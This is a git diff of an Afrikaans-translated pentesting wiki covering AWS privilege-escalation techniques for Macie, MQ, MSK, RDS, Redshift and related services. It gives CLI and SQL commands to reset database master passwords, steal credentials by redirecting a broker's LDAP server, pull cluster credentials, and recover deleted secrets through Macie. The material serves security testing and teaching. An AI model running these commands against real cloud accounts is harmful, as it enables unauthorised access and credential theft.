-0,0 +1,38 @@ +# AWS - Macie Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Macie + +Vir meer inligting oor Macie kyk: + +{{#ref}} +../../aws-services/aws-macie-enum.md +{{#endref}} + +### Amazon Macie - Bypass `Reveal Sample` Integriteitskontrole + +AWS Macie is 'n sekuriteitsdiens wat sensitiewe data binne AWS-omgewings outomaties opspoor, soos credentials, personally identifiable information (PII), en ander vertroulike data. Wanneer Macie 'n sensitiewe credential identifiseer, soos 'n AWS secret key wat in 'n S3 bucket gestoor is, genereer dit 'n finding wat die eienaar in staat stel om 'n "sample" van die opgespoor data te sien. Gewoonlik, sodra die sensitiewe lêer van die S3 bucket verwyder is, word verwag dat die geheim nie langer herkrygbaar is nie. + +Echter, 'n **bypass** is geïdentifiseer waar 'n attacker met voldoende permissies 'n **lêer met dieselfde naam weer kan oplaai** wat ander, nie-sensitiewe dummy-data bevat. Dit veroorsaak dat Macie die nuut opgelaaide lêer met die oorspronklike finding assosieer, wat die attacker in staat stel om die **"Reveal Sample" feature** te gebruik om die voorheen opgespoorde geheim te onttrek. Hierdie kwessie stel 'n beduidende sekuriteitsrisiko voor, aangesien geheime wat as verwyder beskou is, steeds via hierdie metode herwinbaar bly. + +![flow](https://github.com/user-attachments/assets/7b83f2d3-1690-41f1-98cc-05ccd0154a66) + +**Stappe om te reproduseer:** + +1. Laai 'n lêer (bv. `test-secret.txt`) na 'n S3 bucket met sensitiewe data, soos 'n AWS secret key. Wag vir AWS Macie om te scan en 'n finding te genereer. + +2. Gaan na AWS Macie Findings, lokaliseer die gegenereerde finding, en gebruik die **Reveal Sample** feature om die opgespoorde geheim te sien. + +3. Verwyder `test-secret.txt` van die S3 bucket en verifieer dat dit nie meer bestaan nie. + +4. Skep 'n nuwe lêer met die naam `test-secret.txt` met dummy-data en laai dit weer op na dieselfde S3 bucket met behulp van **attacker's account**. + +5. Gaan terug na AWS Macie Findings, toegang die oorspronklike finding, en klik weer op **Reveal Sample**. + +6. Let op dat Macie steeds die oorspronklike geheim openbaar, ondanks dat die lêer verwyder en vervang is met verskillende inhoud **van verskillende accounts; in ons geval sal dit die attacker's account wees**. + +**Opsomming:** + +Hierdie kwesbaarheid stel 'n attacker met voldoende AWS IAM permissies in staat om voorheen opgespoorde geheime te herstel, selfs nadat die oorspronklike lêer van S3 verwyder is. As 'n AWS secret key, access token, of ander sensitiewe credential blootgestel is, kan 'n attacker hierdie fout misbruik om dit te herwin en ongemagtigde toegang tot AWS hulpbronne te verkry. Dit kan lei tot privilege escalation, ongemagtigde data-toegang, of verdere kompromittering van cloud assets, wat data-oortredings en diensonderbrekings tot gevolg kan hê. +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md index eec19a3f1..fb4bbbb95 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md @@ -1,16 +1,16 @@ # AWS - Mediapackage Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ### `mediapackage:RotateChannelCredentials` -Verander die Kanaal se eerste IngestEndpoint se gebruikersnaam en wagwoord. (Hierdie API is verouderd vir RotateIngestEndpointCredentials) +Verander die Channel se eerste IngestEndpoint se gebruikersnaam en wagwoord. (Hierdie API is verouderd; gebruik RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -Verander die Kanaal se eerste IngestEndpoint se gebruikersnaam en wagwoord. (Hierdie API is verouderd vir RotateIngestEndpointCredentials) +Verander die Channel se eerste IngestEndpoint se username en password. (Hierdie API is verouderd ten gunste van RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` @@ -18,4 +18,4 @@ aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint- - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md deleted file mode 100644 index c4db48661..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ /dev/null @@ -1,43 +0,0 @@ -# AWS - MQ Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MQ - -Vir meer inligting oor MQ, kyk: - -{{#ref}} -../aws-services/aws-mq-enum.md -{{#endref}} - -### `mq:ListBrokers`, `mq:CreateUser` - -Met daardie toestemmings kan jy **'n nuwe gebruiker in 'n ActimeMQ broker skep** (dit werk nie in RabbitMQ nie): -```bash -aws mq list-brokers -aws mq create-user --broker-id --console-access --password --username -``` -**Potensiële Impak:** Toegang tot sensitiewe inligting deur ActiveMQ te navigeer - -### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` - -Met daardie toestemmings kan jy **'n nuwe gebruiker in 'n ActiveMQ broker skep** (dit werk nie in RabbitMQ nie): -```bash -aws mq list-brokers -aws mq list-users --broker-id -aws mq update-user --broker-id --console-access --password --username -``` -**Potensiële Impak:** Toegang tot sensitiewe inligting deur ActiveMQ te navigeer - -### `mq:ListBrokers`, `mq:UpdateBroker` - -As 'n broker **LDAP** vir outorisering met **ActiveMQ** gebruik. Dit is moontlik om die **konfigurasie** van die LDAP-bediener wat gebruik word, te **verander** na **een wat deur die aanvaller beheer word**. Op hierdie manier sal die aanvaller in staat wees om **alle geloofsbriewe wat deur LDAP gestuur word, te steel**. -```bash -aws mq list-brokers -aws mq update-broker --broker-id --ldap-server-metadata=... -``` -As jy op een of ander manier die oorspronklike geloofsbriewe wat deur ActiveMQ gebruik is, kan vind, kan jy 'n MitM uitvoer, die geloofsbriewe steel, dit in die oorspronklike bediener gebruik, en die antwoord stuur (misschien net die gesteelde geloofsbriewe hergebruik, kan jy dit doen). - -**Potensiële Impak:** Steel ActiveMQ geloofsbriewe - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md new file mode 100644 index 000000000..ebe60763b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md @@ -0,0 +1,43 @@ +# AWS - MQ Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MQ + +Vir meer inligting oor MQ, kyk: + +{{#ref}} +../../aws-services/aws-mq-enum.md +{{#endref}} + +### `mq:ListBrokers`, `mq:CreateUser` + +Met daardie toestemmings kan jy **'n nuwe gebruiker in 'n ActimeMQ broker skep** (dit werk nie in RabbitMQ nie): +```bash +aws mq list-brokers +aws mq create-user --broker-id --console-access --password --username +``` +**Potensiële impak:** Toegang tot sensitiewe inligting deur in ActiveMQ te navigeer + +### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` + +Met daardie toestemmings kan jy **'n nuwe gebruiker in 'n ActimeMQ broker skep** (dit werk nie in RabbitMQ nie): +```bash +aws mq list-brokers +aws mq list-users --broker-id +aws mq update-user --broker-id --console-access --password --username +``` +**Potensiële impak:** Toegang tot sensitiewe inligting deur ActiveMQ te navigeer + +### `mq:ListBrokers`, `mq:UpdateBroker` + +As 'n broker **LDAP** gebruik vir outorisering met **ActiveMQ**. Dit is moontlik om die **konfigurasie** van die LDAP-server te **verander** na een wat deur die aanvaller beheer word. Op hierdie manier sal die aanvaller in staat wees om **alle credentials wat via LDAP gestuur word te steel**. +```bash +aws mq list-brokers +aws mq update-broker --broker-id --ldap-server-metadata=... +``` +Indien jy op een of ander manier die oorspronklike credentials wat deur ActiveMQ gebruik is kon vind, kan jy 'n MitM uitvoer, die creds steel, dit op die oorspronklike bediener gebruik en die respons stuur (miskien deur net die gesteelde creds te hergebruik kan jy dit doen). + +**Potensiële impak:** Steel ActiveMQ credentials + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md deleted file mode 100644 index a82f40fbe..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ /dev/null @@ -1,22 +0,0 @@ -# AWS - MSK Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## MSK - -Vir meer inligting oor MSK (Kafka) kyk: - -{{#ref}} -../aws-services/aws-msk-enum.md -{{#endref}} - -### `msk:ListClusters`, `msk:UpdateSecurity` - -Met hierdie **privileges** en **toegang tot die VPC waar die kafka brokers is**, kan jy die **None authentication** byvoeg om toegang tot hulle te verkry. -```bash -aws msk --client-authentication --cluster-arn --current-version -``` -Jy het toegang tot die VPC nodig omdat **jy kan nie Geen outentisering met Kafka publiek** blootgestel aktiveer nie. As dit publiek blootgestel is, as **SASL/SCRAM** outentisering gebruik word, kan jy **die geheim lees** om toegang te verkry (jy sal addisionele voorregte nodig hê om die geheim te lees).\ -As **IAM rol-gebaseerde outentisering** gebruik word en **kafka is publiek blootgestel** kan jy steeds hierdie voorregte misbruik om jou toestemmings te gee om toegang te verkry. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md new file mode 100644 index 000000000..98af32bf5 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md @@ -0,0 +1,22 @@ +# AWS - MSK Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## MSK + +Vir meer inligting oor MSK (Kafka) sien: + +{{#ref}} +../../aws-services/aws-msk-enum.md +{{#endref}} + +### `msk:ListClusters`, `msk:UpdateSecurity` + +Met hierdie **privileges** en **access to the VPC where the kafka brokers are**, kan jy die **None authentication** byvoeg om access tot hulle te kry. +```bash +aws msk --client-authentication --cluster-arn --current-version +``` +Jy het toegang tot die VPC nodig omdat **jy nie None authentication kan inskakel as Kafka publiekelik blootgestel is nie**. As dit publiekelik blootgestel is, en **SASL/SCRAM** authentication gebruik word, kan jy die **read the secret** uitvoer om toegang te kry (jy sal addisionele regte nodig hê om die read the secret uit te voer).\ +As **IAM role-based authentication** gebruik word en **kafka is publicly exposed** kan jy steeds hierdie voorregte misbruik om jouself permissies te gee om toegang daartoe te kry. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md deleted file mode 100644 index dd68e5841..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ /dev/null @@ -1,18 +0,0 @@ -# AWS - Organisasies Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## Organisasies - -Vir meer inligting, kyk: - -{{#ref}} -../aws-services/aws-organizations-enum.md -{{#endref}} - -## Van bestuurrekening na kinderekeninge - -As jy die wortel/bestuursrekening kompromitteer, is daar 'n groot kans dat jy al die kinderekeninge kan kompromitteer.\ -Om [**te leer hoe, kyk hierdie bladsy**](../#compromising-the-organization). - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md new file mode 100644 index 000000000..b8d19632a --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md @@ -0,0 +1,18 @@ +# AWS - Organizations Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## Organizations + +Vir meer inligting, sien: + +{{#ref}} +../../aws-services/aws-organizations-enum.md +{{#endref}} + +## Van management Account na children accounts + +As jy die root/management account kompromiteer, is die kans goed dat jy al die children accounts kan kompromiteer.\ +Om [**te leer hoe, sien hierdie bladsy**](../../index.html#compromising-the-organization). + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md deleted file mode 100644 index b88f69bd5..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ /dev/null @@ -1,151 +0,0 @@ -# AWS - RDS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## RDS - Relational Database Service - -Vir meer inligting oor RDS, kyk: - -{{#ref}} -../aws-services/aws-relational-database-rds-enum.md -{{#endref}} - -### `rds:ModifyDBInstance` - -Met daardie toestemming kan 'n aanvaller **die wagwoord van die meester gebruiker verander**, en die aanmelding binne die databasis: -```bash -# Get the DB username, db name and address -aws rds describe-db-instances - -# Modify the password and wait a couple of minutes -aws rds modify-db-instance \ ---db-instance-identifier \ ---master-user-password 'Llaody2f6.123' \ ---apply-immediately - -# In case of postgres -psql postgresql://:@:5432/ -``` -> [!WARNING] -> Jy sal in staat moet wees om die **databasis te kontak** (hulle is gewoonlik net vanaf binne-netwerke toeganklik). - -**Potensiële Impak:** Vind sensitiewe inligting binne die databasisse. - -### rds-db:connect - -Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming aan die DB-instansie koppel. - -### Misbruik RDS Rol IAM toestemmings - -#### Postgresql (Aurora) - -> [!TIP] -> As jy **`SELECT datname FROM pg_database;`** uitvoer en 'n databasis genaamd **`rdsadmin`** vind, weet jy jy is binne 'n **AWS postgresql databasis**. - -Eerstens kan jy kyk of hierdie databasis gebruik is om toegang tot enige ander AWS-diens te verkry. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk: -```sql -SELECT * FROM pg_extension; -``` -As jy iets soos **`aws_s3`** vind, kan jy aanneem dat hierdie databasis **'n soort toegang oor S3** het (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**). - -As jy ook toestemmings het om **`aws rds describe-db-clusters`** uit te voer, kan jy daar sien of die **kluster enige IAM Rol aangeheg** het in die veld **`AssociatedRoles`**. As daar enige is, kan jy aanneem dat die databasis **voorberei is om toegang tot ander AWS dienste** te hê. Gebaseer op die **naam van die rol** (of as jy die **toestemmings** van die rol kan kry) kan jy **raai** watter ekstra toegang die databasis het. - -Nou, om **'n lêer binne 'n emmer** te lees, moet jy die volle pad weet. Jy kan dit lees met: -```sql -// Create table -CREATE TABLE ttemp (col TEXT); - -// Create s3 uri -SELECT aws_commons.create_s3_uri( -'test1234567890678', // Name of the bucket -'data.csv', // Name of the file -'eu-west-1' //region of the bucket -) AS s3_uri \gset - -// Load file contents in table -SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); - -// Get info -SELECT * from ttemp; - -// Delete table -DROP TABLE ttemp; -``` -As jy **ruwe AWS geloofsbriewe** gehad het, kon jy dit ook gebruik om toegang tot S3-data te verkry met: -```sql -SELECT aws_s3.table_import_from_s3( -'t', '', '(format csv)', -:'s3_uri', -aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') -); -``` -> [!NOTE] -> Postgresql **hoef nie enige parameter groep veranderlike aan te pas** om toegang tot S3 te verkry nie. - -#### Mysql (Aurora) - -> [!TIP] -> Binne 'n mysql, as jy die navraag **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanneem jy is binne 'n **AWS RDS mysql db**. - -Binne die mysql voer **`show variables;`** uit en as die veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`**, waardes het, kan jy aanneem die databasis is voorberei om toegang tot S3 data te verkry. - -Ook, as jy toestemmings het om **`aws rds describe-db-clusters`** uit te voer, kan jy nagaan of die kluster enige **geassosieerde rol** het, wat gewoonlik toegang tot AWS dienste beteken). - -Nou, om **'n lêer binne 'n emmer** te lees, moet jy die volle pad weet. Jy kan dit lees met: -```sql -CREATE TABLE ttemp (col TEXT); -LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); -SELECT * FROM ttemp; -DROP TABLE ttemp; -``` -### `rds:AddRoleToDBCluster`, `iam:PassRole` - -'n Aanvaller met die toestemmings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instansie voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data** te verkry of die data binne die instansie te wysig. -```bash -aws add-role-to-db-cluster --db-cluster-identifier --role-arn -``` -**Potensiële Impak**: Toegang tot sensitiewe data of ongeoorloofde wysigings aan die data in die RDS-instantie.\ -Let daarop dat sommige DB's addisionele konfigurasies vereis soos Mysql, wat die rol ARN in die parameter groepe moet spesifiseer. - -### `rds:CreateDBInstance` - -Net met hierdie toestemming kan 'n aanvaller 'n **nuwe instantie binne 'n kluster** wat reeds bestaan en 'n **IAM rol** aangeheg het, skep. Hy sal nie in staat wees om die meester gebruikerswagwoord te verander nie, maar hy mag in staat wees om die nuwe databasisinstantie aan die internet bloot te stel: -```bash -aws --region eu-west-1 --profile none-priv rds create-db-instance \ ---db-instance-identifier mydbinstance2 \ ---db-instance-class db.t3.medium \ ---engine aurora-postgresql \ ---db-cluster-identifier database-1 \ ---db-security-groups "string" \ ---publicly-accessible -``` -### `rds:CreateDBInstance`, `iam:PassRole` - -> [!NOTE] -> TODO: Toets - -'n Aanvaller met die toestemmings `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instansie met 'n spesifieke rol aangeheg skep**. Die aanvaller kan dan moontlik **toegang tot sensitiewe data** verkry of die data binne die instansie wysig. - -> [!WARNING] -> Sommige vereistes van die rol/instansie-profiel om aan te heg (van [**hier**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - Die profiel moet in jou rekening bestaan. -> - Die profiel moet 'n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem. -> - Die instansie-profielnaam en die geassosieerde IAM-rolnaam moet met die voorvoegsel `AWSRDSCustom` begin. -```bash -aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole -``` -**Potensiële Impak**: Toegang tot sensitiewe data of ongeoorloofde wysigings aan die data in die RDS-instantie. - -### `rds:AddRoleToDBInstance`, `iam:PassRole` - -'n Aanvaller met die regte `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instantie voeg**. Dit kan die aanvaller in staat stel om **toegang tot sensitiewe data** te verkry of die data binne die instantie te wysig. - -> [!WARNING] -> Die DB-instantie moet buite 'n kluster wees vir dit -```bash -aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name -``` -**Potensiële Impak**: Toegang tot sensitiewe data of ongeoorloofde wysigings aan die data in die RDS-instansie. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md new file mode 100644 index 000000000..cbaa691ea --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md @@ -0,0 +1,151 @@ +# AWS - RDS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## RDS - Relasionele Databasisdiens + +For more information about RDS check: + +{{#ref}} +../../aws-services/aws-relational-database-rds-enum.md +{{#endref}} + +### `rds:ModifyDBInstance` + +Met daardie toestemming kan 'n attacker **die wagwoord van die hoofgebruiker wysig**, en die login binne die databasis: +```bash +# Get the DB username, db name and address +aws rds describe-db-instances + +# Modify the password and wait a couple of minutes +aws rds modify-db-instance \ +--db-instance-identifier \ +--master-user-password 'Llaody2f6.123' \ +--apply-immediately + +# In case of postgres +psql postgresql://:@:5432/ +``` +> [!WARNING] +> Jy sal in staat moet wees om die **databasis te bereik** (dit is gewoonlik slegs van binne netwerke bereikbaar). + +**Potensiële impak:** Vind sensitiewe inligting in die databasisse. + +### rds-db:connect + +Volgens die [**docs**](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html) kan 'n gebruiker met hierdie toestemming aan die DB-instantie koppel. + +### Misbruik RDS-rol IAM-toestemmings + +#### Postgresql (Aurora) + +> [!TIP] +> As jy **`SELECT datname FROM pg_database;`** uitvoer en jy vind 'n databasis genaamd **`rdsadmin`**, weet jy dat jy binne 'n **AWS postgresql databasis** is. + +Eerstens kan jy nagaan of hierdie databasis gebruik is om toegang tot enige ander AWS-diens te kry. Jy kan dit nagaan deur na die geïnstalleerde uitbreidings te kyk: +```sql +SELECT * FROM pg_extension; +``` +As jy iets soos **`aws_s3`** vind kan jy aanvaar dat hierdie databasis **'n soort toegang tot S3 het** (daar is ander uitbreidings soos **`aws_ml`** en **`aws_lambda`**). + +Indien jy ook permissies het om **`aws rds describe-db-clusters`** uit te voer, kan jy sien of die **cluster enige IAM Role aangeheg het** in die veld **`AssociatedRoles`**. As daar is, kan jy aanvaar dat die databasis **voorberei was om ander AWS-dienste te gebruik**. Gebaseer op die **naam van die role** (of as jy die **permissies** van die role kan kry) kan jy **raai** watter ekstra toegang die databasis het. + +Nou, om **'n lêer binne 'n bucket te lees** moet jy die volle pad weet. Jy kan dit lees met: +```sql +// Create table +CREATE TABLE ttemp (col TEXT); + +// Create s3 uri +SELECT aws_commons.create_s3_uri( +'test1234567890678', // Name of the bucket +'data.csv', // Name of the file +'eu-west-1' //region of the bucket +) AS s3_uri \gset + +// Load file contents in table +SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri'); + +// Get info +SELECT * from ttemp; + +// Delete table +DROP TABLE ttemp; +``` +As jy **raw AWS credentials** gehad het, kon jy dit ook gebruik om toegang tot S3-data te kry met: +```sql +SELECT aws_s3.table_import_from_s3( +'t', '', '(format csv)', +:'s3_uri', +aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '') +); +``` +> [!NOTE] +> Postgresql **het nie nodig om enige parameter-groep veranderlike te verander** om toegang tot S3 te kry. + +#### Mysql (Aurora) + +> [!TIP] +> Binnen 'n mysql, as jy die query **`SELECT User, Host FROM mysql.user;`** uitvoer en daar is 'n gebruiker genaamd **`rdsadmin`**, kan jy aanvaar dat jy binne 'n **AWS RDS mysql db** is. + +Binne die mysql voer **`show variables;`** uit en as veranderlikes soos **`aws_default_s3_role`**, **`aurora_load_from_s3_role`**, **`aurora_select_into_s3_role`** waardes het, kan jy aanvaar dat die databasis voorberei is om toegang tot S3-data te kry. + +As jy ook toestemming het om **`aws rds describe-db-clusters`** uit te voer, kan jy kyk of die cluster enige **geassosieerde rol** het, wat gewoonlik toegang tot AWS-dienste beteken). + +Nou, om 'n lêer in 'n bucket te lees moet jy die volle pad weet. Jy kan dit lees met: +```sql +CREATE TABLE ttemp (col TEXT); +LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col); +SELECT * FROM ttemp; +DROP TABLE ttemp; +``` +### `rds:AddRoleToDBCluster`, `iam:PassRole` + +'n aanvaller met die magtigings `rds:AddRoleToDBCluster` en `iam:PassRole` kan **'n gespesifiseerde rol aan 'n bestaande RDS-instansie toevoeg**. Dit kan die aanvaller in staat stel om **toegang te verkry tot sensitiewe data** of die data binne die instansie te wysig. +```bash +aws add-role-to-db-cluster --db-cluster-identifier --role-arn +``` +**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instantie.\ +Neem kennis dat sommige DB's addisionele konfigurasies vereis soos Mysql, wat ook die rol ARN in die parameter-groepe moet spesifiseer. + +### `rds:CreateDBInstance` + +Net met hierdie permisie kan 'n aanvaller 'n **nuwe instansie binne 'n cluster** skep wat reeds bestaan en 'n **IAM role** aangeheg het. Hy sal nie daarin slaag om die meestergebruikerswagwoord te verander nie, maar hy kan die nuwe databasisinstansie moontlik aan die internet blootstel: +```bash +aws --region eu-west-1 --profile none-priv rds create-db-instance \ +--db-instance-identifier mydbinstance2 \ +--db-instance-class db.t3.medium \ +--engine aurora-postgresql \ +--db-cluster-identifier database-1 \ +--db-security-groups "string" \ +--publicly-accessible +``` +### `rds:CreateDBInstance`, `iam:PassRole` + +> [!NOTE] +> TODO: Toets + +'n attacker met die permissies `rds:CreateDBInstance` en `iam:PassRole` kan **'n nuwe RDS-instantie skep met 'n gespesifiseerde rol aangeheg**. Die attacker kan dan moontlik **toegang tot sensitiewe data kry** of die data binne die instansie wysig. + +> [!WARNING] +> Sommige vereistes vir die role/instance-profile wat aangeheg word (van [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): + +> - Die profiel moet in jou account bestaan. +> - Die profiel moet 'n IAM-rol hê wat Amazon EC2 toestemming het om aan te neem. +> - Die instance profile naam en die geassosieerde IAM rol naam moet begin met die voorvoegsel `AWSRDSCustom` . +```bash +aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole +``` +**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS instance. + +### `rds:AddRoleToDBInstance`, `iam:PassRole` + +'n aanvaller met die permissies `rds:AddRoleToDBInstance` en `iam:PassRole` kan **'n gespesifiseerde rol by 'n bestaande RDS instance voeg**. Dit kan die aanvaller toelaat om **toegang tot sensitiewe data** te kry of die data binne die instance te wysig. + +> [!WARNING] +> Die DB instance moet hiervoor buite 'n cluster wees +```bash +aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name +``` +**Potensiële impak**: Toegang tot sensitiewe data of ongemagtigde wysigings aan die data in die RDS-instansie. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md similarity index 53% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md index 8417a4a7c..57fe97dac 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md @@ -1,56 +1,56 @@ # AWS - Redshift Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Redshift -Vir meer inligting oor RDS, kyk: +Vir meer inligting oor RDS sien: {{#ref}} -../aws-services/aws-redshift-enum.md +../../aws-services/aws-redshift-enum.md {{#endref}} ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -Met hierdie toestemmings kan jy **inligting van al die klusters** verkry (insluitend naam en kluster gebruikersnaam) en **kredensiale** kry om toegang te verkry: +Met hierdie toestemmings kan jy **inligting oor alle clusters** (insluitend naam en cluster username) kry en **credentials** bekom om toegang daartoe te kry: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die databasisse. +**Potensiële impak:** Vind sensitiewe inligting binne die databasisse. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -Met hierdie toestemmings kan jy **inligting van al die klusters** verkry en **kredensiale** kry om toegang te verkry.\ -Let daarop dat die postgres gebruiker die **toestemmings wat die IAM identiteit** wat gebruik is om die kredensiale te verkry, sal hê. +Met hierdie permissies kan jy **inligting oor alle clusters kry** en **inlogbewyse bekom** om toegang daartoe te kry.\ +Let wel dat die postgres-gebruiker die **permissies van die IAM-identity** wat gebruik is om die inlogbewyse te kry, sal hê. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` -**Potensiële Impak:** Vind sensitiewe inligting binne die databasisse. +**Potensiële Impak:** Vind sensitiewe inligting in die databasisse. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` 